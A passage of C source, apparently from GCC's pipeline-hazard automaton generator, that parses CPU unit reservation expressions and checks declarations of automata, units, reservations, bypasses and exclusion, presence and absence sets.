(def, 0)); for (i = 0; i < vect_length; i++) { decl = XCREATENODE (struct decl); decl->mode = dm_automaton; decl->pos = 0; DECL_AUTOMATON (decl)->name = check_name (str_automata [i], decl->pos); VEC_safe_push (decl_t,heap, decls, decl); } } /* Process an AUTOMATA_OPTION. This gives information how to generate finite state automaton used for recognizing pipeline hazards. */ static void gen_automata_option (rtx def) { if (strcmp (XSTR (def, 0), NO_MINIMIZATION_OPTION + 1) == 0) no_minimization_flag = 1; else if (strcmp (XSTR (def, 0), TIME_OPTION + 1) == 0) time_flag = 1; else if (strcmp (XSTR (def, 0), STATS_OPTION + 1) == 0) stats_flag = 1; else if (strcmp (XSTR (def, 0), V_OPTION + 1) == 0) v_flag = 1; else if (strcmp (XSTR (def, 0), W_OPTION + 1) == 0) w_flag = 1; else if (strcmp (XSTR (def, 0), NDFA_OPTION + 1) == 0) ndfa_flag = 1; else if (strcmp (XSTR (def, 0), PROGRESS_OPTION + 1) == 0) progress_flag = 1; else fatal ("invalid option `%s' in automata_option", XSTR (def, 0)); } /* Name in reservation to denote absence reservation. */ #define NOTHING_NAME "nothing" /* The following string contains original reservation string being parsed. */ static const char *reserv_str; /* Parse an element in STR. */ static regexp_t gen_regexp_el (const char *str) { regexp_t regexp; char *dstr; int len; if (*str == '(') { len = strlen (str); if (str [len - 1] != ')') fatal ("garbage after ) in reservation `%s'", reserv_str); dstr = XALLOCAVAR (char, len - 1); memcpy (dstr, str + 1, len - 2); dstr [len-2] = '\0'; regexp = gen_regexp_sequence (dstr); } else if (strcmp (str, NOTHING_NAME) == 0) { regexp = XCREATENODE (struct regexp); regexp->mode = rm_nothing; } else { regexp = XCREATENODE (struct regexp); regexp->mode = rm_unit; REGEXP_UNIT (regexp)->name = str; } return regexp; } /* Parse construction `repeat' in STR. */ static regexp_t gen_regexp_repeat (const char *str) { regexp_t regexp; regexp_t repeat; char **repeat_vect; int els_num; int i; repeat_vect = get_str_vect (str, &els_num, '*', TRUE); if (repeat_vect == NULL) fatal ("invalid `%s' in reservation `%s'", str, reserv_str); if (els_num > 1) { regexp = gen_regexp_el (repeat_vect [0]); for (i = 1; i < els_num; i++) { repeat = XCREATENODE (struct regexp); repeat->mode = rm_repeat; REGEXP_REPEAT (repeat)->regexp = regexp; REGEXP_REPEAT (repeat)->repeat_num = atoi (repeat_vect [i]); if (REGEXP_REPEAT (repeat)->repeat_num <= 1) fatal ("repetition `%s' <= 1 in reservation `%s'", str, reserv_str); regexp = repeat; } return regexp; } else return gen_regexp_el (str); } /* Parse reservation STR which possibly contains separator '+'. */ static regexp_t gen_regexp_allof (const char *str) { regexp_t allof; char **allof_vect; int els_num; int i; allof_vect = get_str_vect (str, &els_num, '+', TRUE); if (allof_vect == NULL) fatal ("invalid `%s' in reservation `%s'", str, reserv_str); if (els_num > 1) { allof = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (els_num - 1)); allof->mode = rm_allof; REGEXP_ALLOF (allof)->regexps_num = els_num; for (i = 0; i < els_num; i++) REGEXP_ALLOF (allof)->regexps [i] = gen_regexp_repeat (allof_vect [i]); return allof; } else return gen_regexp_repeat (str); } /* Parse reservation STR which possibly contains separator '|'. */ static regexp_t gen_regexp_oneof (const char *str) { regexp_t oneof; char **oneof_vect; int els_num; int i; oneof_vect = get_str_vect (str, &els_num, '|', TRUE); if (oneof_vect == NULL) fatal ("invalid `%s' in reservation `%s'", str, reserv_str); if (els_num > 1) { oneof = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (els_num - 1)); oneof->mode = rm_oneof; REGEXP_ONEOF (oneof)->regexps_num = els_num; for (i = 0; i < els_num; i++) REGEXP_ONEOF (oneof)->regexps [i] = gen_regexp_allof (oneof_vect [i]); return oneof; } else return gen_regexp_allof (str); } /* Parse reservation STR which possibly contains separator ','. */ static regexp_t gen_regexp_sequence (const char *str) { regexp_t sequence; char **sequence_vect; int els_num; int i; sequence_vect = get_str_vect (str, &els_num, ',', TRUE); if (els_num > 1) { sequence = XCREATENODEVAR (struct regexp, sizeof (struct regexp) + sizeof (regexp_t) * (els_num - 1)); sequence->mode = rm_sequence; REGEXP_SEQUENCE (sequence)->regexps_num = els_num; for (i = 0; i < els_num; i++) REGEXP_SEQUENCE (sequence)->regexps [i] = gen_regexp_oneof (sequence_vect [i]); return sequence; } else return gen_regexp_oneof (str); } /* Parse construction reservation STR. */ static regexp_t gen_regexp (const char *str) { reserv_str = str; return gen_regexp_sequence (str);; } /* Process a DEFINE_RESERVATION. This gives information about a reservation of cpu units. We fill in a struct reserv_decl with information used later by `expand_automata'. */ static void gen_reserv (rtx def) { decl_t decl; decl = XCREATENODE (struct decl); decl->mode = dm_reserv; decl->pos = 0; DECL_RESERV (decl)->name = check_name (XSTR (def, 0), decl->pos); DECL_RESERV (decl)->regexp = gen_regexp (XSTR (def, 1)); VEC_safe_push (decl_t,heap, decls, decl); } /* Process a DEFINE_INSN_RESERVATION. This gives information about the reservation of cpu units by an insn. We fill a struct insn_reserv_decl with information used later by `expand_automata'. */ static void gen_insn_reserv (rtx def) { decl_t decl; decl = XCREATENODE (struct decl); decl->mode = dm_insn_reserv; decl->pos = 0; DECL_INSN_RESERV (decl)->name = check_name (XSTR (def, 0), decl->pos); DECL_INSN_RESERV (decl)->default_latency = XINT (def, 1); DECL_INSN_RESERV (decl)->condexp = XEXP (def, 2); DECL_INSN_RESERV (decl)->regexp = gen_regexp (XSTR (def, 3)); VEC_safe_push (decl_t,heap, decls, decl); } /* The function evaluates hash value (0..UINT_MAX) of string. */ static unsigned string_hash (const char *string) { unsigned result, i; for (result = i = 0;*string++ != '\0'; i++) result += ((unsigned char) *string << (i % CHAR_BIT)); return result; } /* This page contains abstract data `table of automaton declarations'. Elements of the table is nodes representing automaton declarations. Key of the table elements is name of given automaton. Remember that automaton names have own space. */ /* The function evaluates hash value of an automaton declaration. The function is used by abstract data `hashtab'. The function returns hash value (0..UINT_MAX) of given automaton declaration. */ static hashval_t automaton_decl_hash (const void *automaton_decl) { const_decl_t const decl = (const_decl_t) automaton_decl; gcc_assert (decl->mode != dm_automaton || DECL_AUTOMATON (decl)->name); return string_hash (DECL_AUTOMATON (decl)->name); } /* The function tests automaton declarations on equality of their keys. The function is used by abstract data `hashtab'. The function returns 1 if the declarations have the same key, 0 otherwise. */ static int automaton_decl_eq_p (const void* automaton_decl_1, const void* automaton_decl_2) { const_decl_t const decl1 = (const_decl_t) automaton_decl_1; const_decl_t const decl2 = (const_decl_t) automaton_decl_2; gcc_assert (decl1->mode == dm_automaton && DECL_AUTOMATON (decl1)->name && decl2->mode == dm_automaton && DECL_AUTOMATON (decl2)->name); return strcmp (DECL_AUTOMATON (decl1)->name, DECL_AUTOMATON (decl2)->name) == 0; } /* The automaton declaration table itself is represented by the following variable. */ static htab_t automaton_decl_table; /* The function inserts automaton declaration into the table. The function does nothing if an automaton declaration with the same key exists already in the table. The function returns automaton declaration node in the table with the same key as given automaton declaration node. */ static decl_t insert_automaton_decl (decl_t automaton_decl) { void **entry_ptr; entry_ptr = htab_find_slot (automaton_decl_table, automaton_decl, 1); if (*entry_ptr == NULL) *entry_ptr = (void *) automaton_decl; return (decl_t) *entry_ptr; } /* The following variable value is node representing automaton declaration. The node used for searching automaton declaration with given name. */ static struct decl work_automaton_decl; /* The function searches for automaton declaration in the table with the same key as node representing name of the automaton declaration. The function returns node found in the table, NULL if such node does not exist in the table. */ static decl_t find_automaton_decl (const char *name) { void *entry; work_automaton_decl.mode = dm_automaton; DECL_AUTOMATON (&work_automaton_decl)->name = name; entry = htab_find (automaton_decl_table, &work_automaton_decl); return (decl_t) entry; } /* The function creates empty automaton declaration table and node representing automaton declaration and used for searching automaton declaration with given name. The function must be called only once before any work with the automaton declaration table. */ static void initiate_automaton_decl_table (void) { work_automaton_decl.mode = dm_automaton; automaton_decl_table = htab_create (10, automaton_decl_hash, automaton_decl_eq_p, (htab_del) 0); } /* The function deletes the automaton declaration table. Only call of function `initiate_automaton_decl_table' is possible immediately after this function call. */ static void finish_automaton_decl_table (void) { htab_delete (automaton_decl_table); } /* This page contains abstract data `table of insn declarations'. Elements of the table is nodes representing insn declarations. Key of the table elements is name of given insn (in corresponding define_insn_reservation). Remember that insn names have own space. */ /* The function evaluates hash value of an insn declaration. The function is used by abstract data `hashtab'. The function returns hash value (0..UINT_MAX) of given insn declaration. */ static hashval_t insn_decl_hash (const void *insn_decl) { const_decl_t const decl = (const_decl_t) insn_decl; gcc_assert (decl->mode == dm_insn_reserv && DECL_INSN_RESERV (decl)->name); return string_hash (DECL_INSN_RESERV (decl)->name); } /* The function tests insn declarations on equality of their keys. The function is used by abstract data `hashtab'. The function returns 1 if declarations have the same key, 0 otherwise. */ static int insn_decl_eq_p (const void *insn_decl_1, const void *insn_decl_2) { const_decl_t const decl1 = (const_decl_t) insn_decl_1; const_decl_t const decl2 = (const_decl_t) insn_decl_2; gcc_assert (decl1->mode == dm_insn_reserv && DECL_INSN_RESERV (decl1)->name && decl2->mode == dm_insn_reserv && DECL_INSN_RESERV (decl2)->name); return strcmp (DECL_INSN_RESERV (decl1)->name, DECL_INSN_RESERV (decl2)->name) == 0; } /* The insn declaration table itself is represented by the following variable. The table does not contain insn reservation declarations. */ static htab_t insn_decl_table; /* The function inserts insn declaration into the table. The function does nothing if an insn declaration with the same key exists already in the table. The function returns insn declaration node in the table with the same key as given insn declaration node. */ static decl_t insert_insn_decl (decl_t insn_decl) { void **entry_ptr; entry_ptr = htab_find_slot (insn_decl_table, insn_decl, 1); if (*entry_ptr == NULL) *entry_ptr = (void *) insn_decl; return (decl_t) *entry_ptr; } /* The following variable value is node representing insn reservation declaration. The node used for searching insn reservation declaration with given name. */ static struct decl work_insn_decl; /* The function searches for insn reservation declaration in the table with the same key as node representing name of the insn reservation declaration. The function returns node found in the table, NULL if such node does not exist in the table. */ static decl_t find_insn_decl (const char *name) { void *entry; work_insn_decl.mode = dm_insn_reserv; DECL_INSN_RESERV (&work_insn_decl)->name = name; entry = htab_find (insn_decl_table, &work_insn_decl); return (decl_t) entry; } /* The function creates empty insn declaration table and node representing insn declaration and used for searching insn declaration with given name. The function must be called only once before any work with the insn declaration table. */ static void initiate_insn_decl_table (void) { work_insn_decl.mode = dm_insn_reserv; insn_decl_table = htab_create (10, insn_decl_hash, insn_decl_eq_p, (htab_del) 0); } /* The function deletes the insn declaration table. Only call of function `initiate_insn_decl_table' is possible immediately after this function call. */ static void finish_insn_decl_table (void) { htab_delete (insn_decl_table); } /* This page contains abstract data `table of declarations'. Elements of the table is nodes representing declarations (of units and reservations). Key of the table elements is names of given declarations. */ /* The function evaluates hash value of a declaration. The function is used by abstract data `hashtab'. The function returns hash value (0..UINT_MAX) of given declaration. */ static hashval_t decl_hash (const void *decl) { const_decl_t const d = (const_decl_t) decl; gcc_assert ((d->mode == dm_unit && DECL_UNIT (d)->name) || (d->mode == dm_reserv && DECL_RESERV (d)->name)); return string_hash (d->mode == dm_unit ? DECL_UNIT (d)->name : DECL_RESERV (d)->name); } /* The function tests declarations on equality of their keys. The function is used by abstract data 'hashtab'. The function returns 1 if the declarations have the same key, 0 otherwise. */ static int decl_eq_p (const void *decl_1, const void *decl_2) { const_decl_t const d1 = (const_decl_t) decl_1; const_decl_t const d2 = (const_decl_t) decl_2; gcc_assert ((d1->mode == dm_unit && DECL_UNIT (d1)->name) || (d1->mode == dm_reserv && DECL_RESERV (d1)->name)); gcc_assert ((d2->mode == dm_unit && DECL_UNIT (d2)->name) || (d2->mode == dm_reserv && DECL_RESERV (d2)->name)); return strcmp ((d1->mode == dm_unit ? DECL_UNIT (d1)->name : DECL_RESERV (d1)->name), (d2->mode == dm_unit ? DECL_UNIT (d2)->name : DECL_RESERV (d2)->name)) == 0; } /* The declaration table itself is represented by the following variable. */ static htab_t decl_table; /* The function inserts declaration into the table. The function does nothing if a declaration with the same key exists already in the table. The function returns declaration node in the table with the same key as given declaration node. */ static decl_t insert_decl (decl_t decl) { void **entry_ptr; entry_ptr = htab_find_slot (decl_table, decl, 1); if (*entry_ptr == NULL) *entry_ptr = (void *) decl; return (decl_t) *entry_ptr; } /* The following variable value is node representing declaration. The node used for searching declaration with given name. */ static struct decl work_decl; /* The function searches for declaration in the table with the same key as node representing name of the declaration. The function returns node found in the table, NULL if such node does not exist in the table. */ static decl_t find_decl (const char *name) { void *entry; work_decl.mode = dm_unit; DECL_UNIT (&work_decl)->name = name; entry = htab_find (decl_table, &work_decl); return (decl_t) entry; } /* The function creates empty declaration table and node representing declaration and used for searching declaration with given name. The function must be called only once before any work with the declaration table. */ static void initiate_decl_table (void) { work_decl.mode = dm_unit; decl_table = htab_create (10, decl_hash, decl_eq_p, (htab_del) 0); } /* The function deletes the declaration table. Only call of function `initiate_declaration_table' is possible immediately after this function call. */ static void finish_decl_table (void) { htab_delete (decl_table); } /* This page contains checker of pipeline hazard description. */ /* Checking NAMES in an exclusion clause vector and returning formed unit_set_el_list. */ static unit_set_el_t process_excls (char **names, int num, pos_t excl_pos ATTRIBUTE_UNUSED) { unit_set_el_t el_list; unit_set_el_t last_el; unit_set_el_t new_el; decl_t decl_in_table; int i; el_list = NULL; last_el = NULL; for (i = 0; i < num; i++) { decl_in_table = find_decl (names [i]); if (decl_in_table == NULL) error ("unit `%s' in exclusion is not declared", names [i]); else if (decl_in_table->mode != dm_unit) error ("`%s' in exclusion is not unit", names [i]); else { new_el = XCREATENODE (struct unit_set_el); new_el->unit_decl = DECL_UNIT (decl_in_table); new_el->next_unit_set_el = NULL; if (last_el == NULL) el_list = last_el = new_el; else { last_el->next_unit_set_el = new_el; last_el = last_el->next_unit_set_el; } } } return el_list; } /* The function adds each element from SOURCE_LIST to the exclusion list of the each element from DEST_LIST. Checking situation "unit excludes itself". */ static void add_excls (unit_set_el_t dest_list, unit_set_el_t source_list, pos_t excl_pos ATTRIBUTE_UNUSED) { unit_set_el_t dst; unit_set_el_t src; unit_set_el_t curr_el; unit_set_el_t prev_el; unit_set_el_t copy; for (dst = dest_list; dst != NULL; dst = dst->next_unit_set_el) for (src = source_list; src != NULL; src = src->next_unit_set_el) { if (dst->unit_decl == src->unit_decl) { error ("unit `%s' excludes itself", src->unit_decl->name); continue; } if (dst->unit_decl->automaton_name != NULL && src->unit_decl->automaton_name != NULL && strcmp (dst->unit_decl->automaton_name, src->unit_decl->automaton_name) != 0) { error ("units `%s' and `%s' in exclusion set belong to different automata", src->unit_decl->name, dst->unit_decl->name); continue; } for (curr_el = dst->unit_decl->excl_list, prev_el = NULL; curr_el != NULL; prev_el = curr_el, curr_el = curr_el->next_unit_set_el) if (curr_el->unit_decl == src->unit_decl) break; if (curr_el == NULL) { /* Element not found - insert. */ copy = XCOPYNODE (struct unit_set_el, src); copy->next_unit_set_el = NULL; if (prev_el == NULL) dst->unit_decl->excl_list = copy; else prev_el->next_unit_set_el = copy; } } } /* Checking NAMES in presence/absence clause and returning the formed unit_set_el_list. The function is called only after processing all exclusion sets. */ static unit_set_el_t process_presence_absence_names (char **names, int num, pos_t req_pos ATTRIBUTE_UNUSED, int presence_p, int final_p) { unit_set_el_t el_list; unit_set_el_t last_el; unit_set_el_t new_el; decl_t decl_in_table; int i; el_list = NULL; last_el = NULL; for (i = 0; i < num; i++) { decl_in_table = find_decl (names [i]); if (decl_in_table == NULL) error ((presence_p ? (final_p ? "unit `%s' in final presence set is not declared" : "unit `%s' in presence set is not declared") : (final_p ? "unit `%s' in final absence set is not declared" : "unit `%s' in absence set is not declared")), names [i]); else if (decl_in_table->mode != dm_unit) error ((presence_p ? (final_p ? "`%s' in final presence set is not unit" : "`%s' in presence set is not unit") : (final_p ? "`%s' in final absence set is not unit" : "`%s' in absence set is not unit")), names [i]); else { new_el = XCREATENODE (struct unit_set_el); new_el->unit_decl = DECL_UNIT (decl_in_table); new_el->next_unit_set_el = NULL; if (last_el == NULL) el_list = last_el = new_el; else { last_el->next_unit_set_el = new_el; last_el = last_el->next_unit_set_el; } } } return el_list; } /* Checking NAMES in patterns of a presence/absence clause and returning the formed pattern_set_el_list. The function is called only after processing all exclusion sets. */ static pattern_set_el_t process_presence_absence_patterns (char ***patterns, int num, pos_t req_pos ATTRIBUTE_UNUSED, int presence_p, int final_p) { pattern_set_el_t el_list; pattern_set_el_t last_el; pattern_set_el_t new_el; decl_t decl_in_table; int i, j; el_list = NULL; last_el = NULL; for (i = 0; i < num; i++) { for (j = 0; patterns [i] [j] != NULL; j++) ; new_el = XCREATENODEVAR (struct pattern_set_el, sizeof (struct pattern_set_el) + sizeof (struct unit_decl *) * j); new_el->unit_decls = (struct unit_decl **) ((char *) new_el + sizeof (struct pattern_set_el)); new_el->next_pattern_set_el = NULL; if (last_el == NULL) el_list = last_el = new_el; else { last_el->next_pattern_set_el = new_el; last_el = last_el->next_pattern_set_el; } new_el->units_num = 0; for (j = 0; patterns [i] [j] != NULL; j++) { decl_in_table = find_decl (patterns [i] [j]); if (decl_in_table == NULL) error ((presence_p ? (final_p ? "unit `%s' in final presence set is not declared" : "unit `%s' in presence set is not declared") : (final_p ? "unit `%s' in final absence set is not declared" : "unit `%s' in absence set is not declared")), patterns [i] [j]); else if (decl_in_table->mode != dm_unit) error ((presence_p ? (final_p ? "`%s' in final presence set is not unit" : "`%s' in presence set is not unit") : (final_p ? "`%s' in final absence set is not unit" : "`%s' in absence set is not unit")), patterns [i] [j]); else { new_el->unit_decls [new_el->units_num] = DECL_UNIT (decl_in_table); new_el->units_num++; } } } return el_list; } /* The function adds each element from PATTERN_LIST to presence (if PRESENCE_P) or absence list of the each element from DEST_LIST. Checking situations "unit requires own absence", and "unit excludes and requires presence of ...", "unit requires absence and presence of ...", "units in (final) presence set belong to different automata", and "units in (final) absence set belong to different automata". Remember that we process absence sets only after all presence sets. */ static void add_presence_absence (unit_set_el_t dest_list, pattern_set_el_t pattern_list, pos_t req_pos ATTRIBUTE_UNUSED, int presence_p, int final_p) { unit_set_el_t dst; pattern_set_el_t pat; struct unit_decl *unit; unit_set_el_t curr_excl_el; pattern_set_el_t curr_pat_el; pattern_set_el_t prev_el; pattern_set_el_t copy; int i; int no_error_flag; for (dst = dest_list; dst != NULL; dst = dst->next_unit_set_el) for (pat = pattern_list; pat != NULL; pat = pat->next_pattern_set_el) { for (i = 0; i < pat->units_num; i++) { unit = pat->unit_decls [i]; if (dst->unit_decl == unit && pat->units_num == 1 && !presence_p) { error ("unit `%s' requires own absence", unit->name); continue; } if (dst->unit_decl->automaton_name != NULL && unit->automaton_name != NULL && strcmp (dst->unit_decl->automaton_name, unit->automaton_name) != 0) { error ((presence_p ? (final_p ? "units `%s' and `%s' in final presence set belong to different automata" : "units `%s' and `%s' in presence set belong to different automata") : (final_p ? "units `%s' and `%s' in final absence set belong to different automata" : "units `%s' and `%s' in absence set belong to different automata")), unit->name, dst->unit_decl->name); continue; } no_error_flag = 1; if (presence_p) for (curr_excl_el = dst->unit_decl->excl_list; curr_excl_el != NULL; curr_excl_el = curr_excl_el->next_unit_set_el) { if (unit == curr_excl_el->unit_decl && pat->units_num == 1) { if (!w_flag) { error ("unit `%s' excludes and requires presence of `%s'", dst->unit_decl->name, unit->name); no_error_flag = 0; } else warning (0, "unit `%s' excludes and requires presence of `%s'", dst->unit_decl->name, unit->name); } } else if (pat->units_num == 1) for (curr_pat_el = dst->unit_decl->presence_list; curr_pat_el != NULL; curr_pat_el = curr_pat_el->next_pattern_set_el) if (curr_pat_el->units_num == 1 && unit == curr_pat_el->unit_decls [0]) { if (!w_flag) { error ("unit `%s' requires absence and presence of `%s'", dst->unit_decl->name, unit->name); no_error_flag = 0; } else warning (0, "unit `%s' requires absence and presence of `%s'", dst->unit_decl->name, unit->name); } if (no_error_flag) { for (prev_el = (presence_p ? (final_p ? dst->unit_decl->final_presence_list : dst->unit_decl->final_presence_list) : (final_p ? dst->unit_decl->final_absence_list : dst->unit_decl->absence_list)); prev_el != NULL && prev_el->next_pattern_set_el != NULL; prev_el = prev_el->next_pattern_set_el) ; copy = XCOPYNODE (struct pattern_set_el, pat); copy->next_pattern_set_el = NULL; if (prev_el == NULL) { if (presence_p) { if (final_p) dst->unit_decl->final_presence_list = copy; else dst->unit_decl->presence_list = copy; } else if (final_p) dst->unit_decl->final_absence_list = copy; else dst->unit_decl->absence_list = copy; } else prev_el->next_pattern_set_el = copy; } } } } /* The function inserts BYPASS in the list of bypasses of the corresponding output insn. The order of bypasses in the list is decribed in a comment for member `bypass_list' (see above). If there is already the same bypass in the list the function reports this and does nothing. */ static void insert_bypass (struct bypass_decl *bypass) { struct bypass_decl *curr, *last; struct insn_reserv_decl *out_insn_reserv = bypass->out_insn_reserv; struct insn_reserv_decl *in_insn_reserv = bypass->in_insn_reserv; for (curr = out_insn_reserv->bypass_list, last = NULL; curr != NULL; last = curr, curr = curr->next) if (curr->in_insn_reserv == in_insn_reserv) { if ((bypass->bypass_guard_name != NULL && curr->bypass_guard_name != NULL && ! strcmp (bypass->bypass_guard_name, curr->bypass_guard_name)) || bypass->bypass_guard_name == curr->bypass_guard_name) { if (bypass->bypass_guard_name == NULL) { if (!w_flag) error ("the same bypass `%s - %s' is already defined", bypass->out_insn_name, bypass->in_insn_name); else warning (0, "the same bypass `%s - %s' is already defined", bypass->out_insn_name, bypass->in_insn_name); } else if (!w_flag) error ("the same bypass `%s - %s' (guard %s) is already defined", bypass->out_insn_name, bypass->in_insn_name, bypass->bypass_guard_name); else warning (0, "the same bypass `%s - %s' (guard %s) is already defined", bypass->out_insn_name, bypass->in_insn_name, bypass->bypass_guard_name); return; } if (curr->bypass_guard_name == NULL) break; if (curr->next == NULL || curr->next->in_insn_reserv != in_insn_reserv) { last = curr; break; } } if (last == NULL) { bypass->next = out_insn_reserv->bypass_list; out_insn_reserv->bypass_list = bypass; } else { bypass->next = last->next; last->next = bypass; } } /* The function processes pipeline description declarations, checks their correctness, and forms exclusion/presence/absence sets. */ static void process_decls (void) { decl_t decl; decl_t automaton_decl; decl_t decl_in_table; decl_t out_insn_reserv; decl_t in_insn_reserv; int automaton_presence; int i; /* Checking repeated automata declarations. */ automaton_presence = 0; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_automaton) { automaton_presence = 1; decl_in_table = insert_automaton_decl (decl); if (decl_in_table != decl) { if (!w_flag) error ("repeated declaration of automaton `%s'", DECL_AUTOMATON (decl)->name); else warning (0, "repeated declaration of automaton `%s'", DECL_AUTOMATON (decl)->name); } } } /* Checking undeclared automata, repeated declarations (except for automata) and correctness of their attributes (insn latency times etc.). */ for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv) { if (DECL_INSN_RESERV (decl)->default_latency < 0) error ("define_insn_reservation `%s' has negative latency time", DECL_INSN_RESERV (decl)->name); DECL_INSN_RESERV (decl)->insn_num = description->insns_num; description->insns_num++; decl_in_table = insert_insn_decl (decl); if (decl_in_table != decl) error ("`%s' is already used as insn reservation name", DECL_INSN_RESERV (decl)->name); } else if (decl->mode == dm_bypass) { if (DECL_BYPASS (decl)->latency < 0) error ("define_bypass `%s - %s' has negative latency time", DECL_BYPASS (decl)->out_insn_name, DECL_BYPASS (decl)->in_insn_name); } else if (decl->mode == dm_unit || decl->mode == dm_reserv) { if (decl->mode == dm_unit) { DECL_UNIT (decl)->automaton_decl = NULL; if (DECL_UNIT (decl)->automaton_name != NULL) { automaton_decl = find_automaton_decl (DECL_UNIT (decl)->automaton_name); if (automaton_decl == NULL) error ("automaton `%s' is not declared", DECL_UNIT (decl)->automaton_name); else { DECL_AUTOMATON (automaton_decl)->automaton_is_used = 1; DECL_UNIT (decl)->automaton_decl = DECL_AUTOMATON (automaton_decl); } } else if (automaton_presence) error ("define_unit `%s' without automaton when one defined", DECL_UNIT (decl)->name); DECL_UNIT (decl)->unit_num = description->units_num; description->units_num++; if (strcmp (DECL_UNIT (decl)->name, NOTHING_NAME) == 0) { error ("`%s' is declared as cpu unit", NOTHING_NAME); continue; } decl_in_table = find_decl (DECL_UNIT (decl)->name); } else { if (strcmp (DECL_RESERV (decl)->name, NOTHING_NAME) == 0) { error ("`%s' is declared as cpu reservation", NOTHING_NAME); continue; } decl_in_table = find_decl (DECL_RESERV (decl)->name); } if (decl_in_table == NULL) decl_in_table = insert_decl (decl); else { if (decl->mode == dm_unit) error ("repeated declaration of unit `%s'", DECL_UNIT (decl)->name); else error ("repeated declaration of reservation `%s'", DECL_RESERV (decl)->name); } } } /* Check bypasses and form list of bypasses for each (output) insn. */ for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_bypass) { out_insn_reserv = find_insn_decl (DECL_BYPASS (decl)->out_insn_name); in_insn_reserv = find_insn_decl (DECL_BYPASS (decl)->in_insn_name); if (out_insn_reserv == NULL) error ("there is no insn reservation `%s'", DECL_BYPASS (decl)->out_insn_name); else if (in_insn_reserv == NULL) error ("there is no insn reservation `%s'", DECL_BYPASS (decl)->in_insn_name); else { DECL_BYPASS (decl)->out_insn_reserv = DECL_INSN_RESERV (out_insn_reserv); DECL_BYPASS (decl)->in_insn_reserv = DECL_INSN_RESERV (in_insn_reserv); insert_bypass (DECL_BYPASS (decl)); } } } /* Check exclusion set declarations and form exclusion sets. */ for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_excl) { unit_set_el_t unit_set_el_list; unit_set_el_t unit_set_el_list_2; unit_set_el_list = process_excls (DECL_EXCL (decl)->names, DECL_EXCL (decl)->first_list_length, decl->pos); unit_set_el_list_2 = process_excls (&DECL_EXCL (decl)->names [DECL_EXCL (decl)->first_list_length], DECL_EXCL (decl)->all_names_num - DECL_EXCL (decl)->first_list_length, decl->pos); add_excls (unit_set_el_list, unit_set_el_list_2, decl->pos); add_excls (unit_set_el_list_2, unit_set_el_list, decl->pos); } } /* Check presence set declarations and form presence sets. */ for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_presence) { unit_set_el_t unit_set_el_list; pattern_set_el_t pattern_set_el_list; unit_set_el_list = process_presence_absence_names (DECL_PRESENCE (decl)->names, DECL_PRESENCE (decl)->names_num, decl->pos, TRUE, DECL_PRESENCE (decl)->final_p); pattern_set_el_list = process_presence_absence_patterns (DECL_PRESENCE (decl)->patterns, DECL_PRESENCE (decl)->patterns_num, decl->pos, TRUE, DECL_PRESENCE (decl)->final_p); add_presence_absence (unit_set_el_list, pattern_set_el_list, decl->pos, TRUE, DECL_PRESENCE (decl)->final_p); } } /* Check absence set declarations and form absence sets. */ for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_absence) { unit_set_el_t unit_set_el_list; pattern_set_el_t pattern_set_el_list; unit_set_el_list = process_presence_absence_names (DECL_ABSENCE (decl)->names, DECL_ABSENCE (decl)->names_num, decl->pos, FALSE, DECL_ABSENCE (decl)->final_p); pattern_set_el_list = process_presence_absence_patterns (DECL_ABSENCE (decl)->patterns, DECL_ABSENCE (decl)->patterns_num, decl->pos, FALSE, DECL_ABSENCE (decl)->final_p); add_presence_absence (unit_set_el_list, pattern_set_el_list, decl->pos, FALSE, DECL_ABSENCE (decl)->final_p); } } } /* The following function checks that declared automaton is used. If the automaton is not used, the function fixes error/warning. The following function must be called only after `process_decls'. */ static void check_automaton_usage (void) { decl_t decl; int i; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_automaton && !DECL_AUTOMATON (decl)->automaton_is_used) { if (!w_flag) error ("automaton `%s' is not used", DECL_AUTOMATON (decl)->name); else warning (0, "automaton `%s' is not used", DECL_AUTOMATON (decl)->name); } } } /* The following recursive function processes all regexp in order to fix usage of units or reservations and to fix errors of undeclared name. The function may change unit_regexp onto reserv_regexp. Remember that reserv_regexp does not exist before the function call. */ static regexp_t process_regexp (regexp_t regexp) { decl_t decl_in_table; regexp_t new_regexp; int i; switch (regexp->mode) { case rm_unit: decl_in_table = find_decl (REGEXP_UNIT (regexp)->name); if (decl_in_table == NULL) error ("undeclared unit or reservation `%s'", REGEXP_UNIT (regexp)->name); else switch (decl_in_table->mode) { case dm_unit: DECL_UNIT (decl_in_table)->unit_is_used = 1; REGEXP_UNIT (regexp)->unit_decl = DECL_UNIT (decl_in_table); break; case dm_reserv: DECL_RESERV (decl_in_table)->reserv_is_used = 1; new_regexp = XCREATENODE (struct regexp); new_regexp->mode = rm_reserv; new_regexp->pos = regexp->pos; REGEXP_RESERV (new_regexp)->name = REGEXP_UNIT (regexp)->name; REGEXP_RESERV (new_regexp)->reserv_decl = DECL_RESERV (decl_in_table); regexp = new_regexp; break; default: gcc_unreachable (); } break; case rm_sequence: for (i = 0; i <REGEXP_SEQUENCE (regexp)->regexps_num; i++) REGEXP_SEQUENCE (regexp)->regexps [i] = process_regexp (REGEXP_SEQUENCE (regexp)->regexps [i]); break; case rm_allof: for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) REGEXP_ALLOF (regexp)->regexps [i] = process_regexp (REGEXP_ALLOF (regexp)->regexps [i]); break; case rm_oneof: for (i = 0; i < REGEXP_ONEOF (regexp)->regexps_num; i++) REGEXP_ONEOF (regexp)->regexps [i] = process_regexp (REGEXP_ONEOF (regexp)->regexps [i]); break; case rm_repeat: REGEXP_REPEAT (regexp)->regexp = process_regexp (REGEXP_REPEAT (regexp)->regexp); break; case rm_nothing: break; default: gcc_unreachable (); } return regexp; } /* The following function processes regexp of define_reservation and define_insn_reservation with the aid of function `process_regexp'. */ static void process_regexp_decls (void) { decl_t decl; int i; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_reserv) DECL_RESERV (decl)->regexp = process_regexp (DECL_RESERV (decl)->regexp); else if 